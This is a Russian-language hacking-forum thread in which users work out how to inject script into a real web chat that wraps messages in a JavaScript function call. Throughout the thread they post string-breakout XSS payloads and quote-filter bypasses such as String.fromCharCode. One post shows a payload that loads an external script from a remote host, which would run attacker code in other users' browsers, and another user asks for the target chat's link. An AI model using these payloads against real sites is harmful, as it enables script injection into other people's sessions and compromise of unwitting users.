Какие будут предложенияпо xss в чате

Сообщения вводятся в чат следующим образом :

<script>top.pr('18:52:55','Вася','коля','петя, Саша, прииивааа............',1,0);</script>

Какие будут идеи по поводу того как вставить теги в этот чат

 

твоя месага должна быть примерно такой-

Code:

приветааааа',1,0);alert('XAXA');top.pr('18:52:55','Вася','коля','петя, Саша, приветааааа

алерт должен сработать без видимых изменений в странице

 

а что за чат такой?)))

 

Так вставить не получается - alert('hacked') преобразовывается в alert(´Hacked´) т.е. ' заменяется =(( Есть у кого-нибудь идеи по этому поводу ?

 

попробуй с " :
alert("hacked")

можно так ещё:
alert(&quot;hacked&quot

а самый лучший способ, так:
делаешь *.js через блокнот пишешь в нём alert('hacked')
заливаешь куданить, например на народ.ру и в мессаге прописываешь:


прииивааа............',1,0);</script><script/**/src=http://blabla.ru/a.js>

поидее должно прокатить, но вот в последнем случае на странице вместо сообщения будет кака)))))

--------

скинь мне в pm ссылку этого чата....

 

С " тоже не катит - как есть, так и отображается......

Прикол с *.js тоже не проходит, уже пробовал

 

alert(/Hacked/)

 

В этом случае он вместе с "/" вилезет, а почему не написать вобще пустой алерт, тоесть если тебе надо только одно слово Хакед допустим, то оно и без всяких знаков пройдет!

 

чего вы мучаетесь то =) Пуффик прав=) если одно слово то просто alert(hacked) и все=)

 

ДА ТЫ ЧТО?!!! А ТЫ УВЕРЕН?

 

чтоп не начинать новый тред. я чет вот тут ничего сделать не смог...посматрите.может что либо можно

 

<tp ковычек может только цифры... alert(666)

 

Кстати да! Сейчас попробовал и не выходит! НО почемуто иногда же получается(нмеогу вспомнить где, но то что выходило - 100% даю)!

Ха ха ха! =)) Меня так в чате моего города называют! =))

 

alert(String.fromCharCode(111,107))